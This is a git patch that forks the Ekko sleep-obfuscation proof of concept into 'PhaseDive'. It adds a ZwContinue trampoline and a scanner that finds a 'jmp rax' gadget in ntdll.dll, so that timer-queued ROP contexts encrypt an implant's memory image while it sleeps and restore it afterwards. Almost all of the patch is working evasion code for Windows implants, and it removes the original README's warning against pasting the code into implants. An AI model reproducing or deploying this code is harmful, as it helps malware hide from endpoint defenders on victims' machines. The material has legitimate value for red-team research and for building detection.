From 847442aac3fd86e3872bf6992a377c0a709c45d8 Mon Sep 17 00:00:00 2001 From: zimnyaa Date: Thu, 13 Oct 2022 17:55:44 +0300 Subject: [PATCH] Add trampolines Add a ZwContinue trampoline and jmp rax gadgets. --- .gitignore | 2 ++ README.md | 12 +++-------- Src/Ekko.c | 58 +++++++++++++++++++++++++++++++++++++++++++----------- makefile | 2 +- 4 files changed, 52 insertions(+), 22 deletions(-) create mode 100644 .gitignore diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..c799d12 --- /dev/null +++ b/.gitignore @@ -0,0 +1,2 @@ + +*.exe diff --git a/README.md b/README.md index ac24099..33da6ed 100644 --- a/README.md +++ b/README.md @@ -1,19 +1,13 @@


-
-Ekko +PhaseDive (Ekko fork)

-A small sleep obfuscation technique that uses `CreateTimerQueueTimer` Win32 API.
-Proof of Concept. Can be done better.
- -### NOTE -This implementation has known flawes.
-So I wouldn't recommend using it without knowing how it works or know how to spot and fix those flaws.
-TLDR: don't copy and past it into your implants. +This is a PoC for a change to Ekko to use trampoline calls to ZwContinue and a `jmp rax` gadget to call functions from the `CONTEXT` struct. The `ntdll.dll` gadget is static, you need to find your own `call ` to test this
### Credit +- Ekko implementation by C5pider (original repository) - [Austin Hudson (@SecIdiot)](https://twitter.com/ilove2pwn_) https://suspicious.actor/2022/05/05/mdsec-nighthawk-study.html - Originally discovered by [Peter Winter-Smith](peterwintrsmith) and used in MDSec’s Nighthawk diff --git a/Src/Ekko.c b/Src/Ekko.c index bf11a13..c91af1f 100644 --- a/Src/Ekko.c +++ b/Src/Ekko.c @@ -1,5 +1,9 @@ #include #include +#include +#include +#include + VOID EkkoObf( DWORD SleepTime ) { @@ -27,6 +31,30 @@ VOID EkkoObf( DWORD SleepTime ) PVOID NtContinue = NULL; PVOID SysFunc032 = NULL; + PVOID ntdll_jmprax = NULL; + + HANDLE process = GetCurrentProcess(); + MODULEINFO mi = {}; + HMODULE ntdllModule = GetModuleHandleA("ntdll.dll"); + + GetModuleInformation(process, ntdllModule, &mi, sizeof(mi)); + LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll + 4096; + + CHAR jmprax_bytecode[2] = {0xFF, 0xE0}; + + + for (LPVOID ntdll_cursor=ntdllBase;;ntdll_cursor++) { + if (strncmp(ntdll_cursor, jmprax_bytecode, 2) == 0) { + ntdll_jmprax = ntdll_cursor; + break; + } + } + + + PVOID ntdll_callzw = (PVOID)0x00007FFB300FDDD0; + printf("(ntdll.dll) JMP RAX -> %p\n", ntdll_jmprax); + printf("(ntdll.dll) CALL ZwContinue -> %p\n", ntdll_callzw); + hEvent = CreateEventW( 0, 0, 0, 0 ); hTimerQueue = CreateTimerQueue(); @@ -55,7 +83,8 @@ VOID EkkoObf( DWORD SleepTime ) // VirtualProtect( ImageBase, ImageSize, PAGE_READWRITE, &OldProtect ); RopProtRW.Rsp -= 8; - RopProtRW.Rip = VirtualProtect; + RopProtRW.Rax = VirtualProtect; + RopProtRW.Rip = ntdll_jmprax; RopProtRW.Rcx = ImageBase; RopProtRW.Rdx = ImageSize; RopProtRW.R8 = PAGE_READWRITE; @@ -63,25 +92,29 @@ VOID EkkoObf( DWORD SleepTime ) // SystemFunction032( &Key, &Img ); RopMemEnc.Rsp -= 8; - RopMemEnc.Rip = SysFunc032; + RopMemEnc.Rax = SysFunc032; + RopMemEnc.Rip = ntdll_jmprax; RopMemEnc.Rcx = &Img; RopMemEnc.Rdx = &Key; // WaitForSingleObject( hTargetHdl, SleepTime ); RopDelay.Rsp -= 8; - RopDelay.Rip = WaitForSingleObject; + RopDelay.Rax = WaitForSingleObject; + RopDelay.Rip = ntdll_jmprax; RopDelay.Rcx = NtCurrentProcess(); RopDelay.Rdx = SleepTime; // SystemFunction032( &Key, &Img ); RopMemDec.Rsp -= 8; - RopMemDec.Rip = SysFunc032; + RopMemDec.Rax = SysFunc032; + RopMemDec.Rip = ntdll_jmprax; RopMemDec.Rcx = &Img; RopMemDec.Rdx = &Key; // VirtualProtect( ImageBase, ImageSize, PAGE_EXECUTE_READWRITE, &OldProtect ); RopProtRX.Rsp -= 8; - RopProtRX.Rip = VirtualProtect; + RopProtRX.Rax = VirtualProtect; + RopProtRX.Rip = ntdll_jmprax; RopProtRX.Rcx = ImageBase; RopProtRX.Rdx = ImageSize; RopProtRX.R8 = PAGE_EXECUTE_READWRITE; @@ -89,17 +122,18 @@ VOID EkkoObf( DWORD SleepTime ) // SetEvent( hEvent ); RopSetEvt.Rsp -= 8; - RopSetEvt.Rip = SetEvent; + RopSetEvt.Rax = SetEvent; + RopSetEvt.Rip = ntdll_jmprax; RopSetEvt.Rcx = hEvent; puts( "[INFO] Queue timers" ); - CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopProtRW, 100, 0, WT_EXECUTEINTIMERTHREAD ); - CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopMemEnc, 200, 0, WT_EXECUTEINTIMERTHREAD ); - CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopDelay, 300, 0, WT_EXECUTEINTIMERTHREAD ); - CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopMemDec, 400, 0, WT_EXECUTEINTIMERTHREAD ); - CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopProtRX, 500, 0, WT_EXECUTEINTIMERTHREAD ); - CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopSetEvt, 600, 0, WT_EXECUTEINTIMERTHREAD ); + CreateTimerQueueTimer( &hNewTimer, hTimerQueue, ntdll_callzw, &RopProtRW, 100, 0, WT_EXECUTEINTIMERTHREAD ); + CreateTimerQueueTimer( &hNewTimer, hTimerQueue, ntdll_callzw, &RopMemEnc, 200, 0, WT_EXECUTEINTIMERTHREAD ); + CreateTimerQueueTimer( &hNewTimer, hTimerQueue, ntdll_callzw, &RopDelay, 300, 0, WT_EXECUTEINTIMERTHREAD ); + CreateTimerQueueTimer( &hNewTimer, hTimerQueue, ntdll_callzw, &RopMemDec, 400, 0, WT_EXECUTEINTIMERTHREAD ); + CreateTimerQueueTimer( &hNewTimer, hTimerQueue, ntdll_callzw, &RopProtRX, 500, 0, WT_EXECUTEINTIMERTHREAD ); + CreateTimerQueueTimer( &hNewTimer, hTimerQueue, ntdll_callzw, &RopSetEvt, 600, 0, WT_EXECUTEINTIMERTHREAD ); puts( "[INFO] Wait for hEvent" ); diff --git a/makefile b/makefile index 1971d80..a23063e 100644 --- a/makefile +++ b/makefile @@ -6,7 +6,7 @@ CFLAGS := -Os -fno-asynchronous-unwind-tables CFLAGS += -fno-ident -fpack-struct=8 -falign-functions=1 CFLAGS += -s -ffunction-sections -falign-jumps=1 -w CFLAGS += -falign-labels=1 -fPIC # -Wl,-Tscripts/Linker.ld -CFLAGS += -Wl,-s,--no-seh,--enable-stdcall-fixup +CFLAGS += -Wl,-s,--no-seh,--enable-stdcall-fixup -lPsapi OUTX64 := Ekko.x64.exe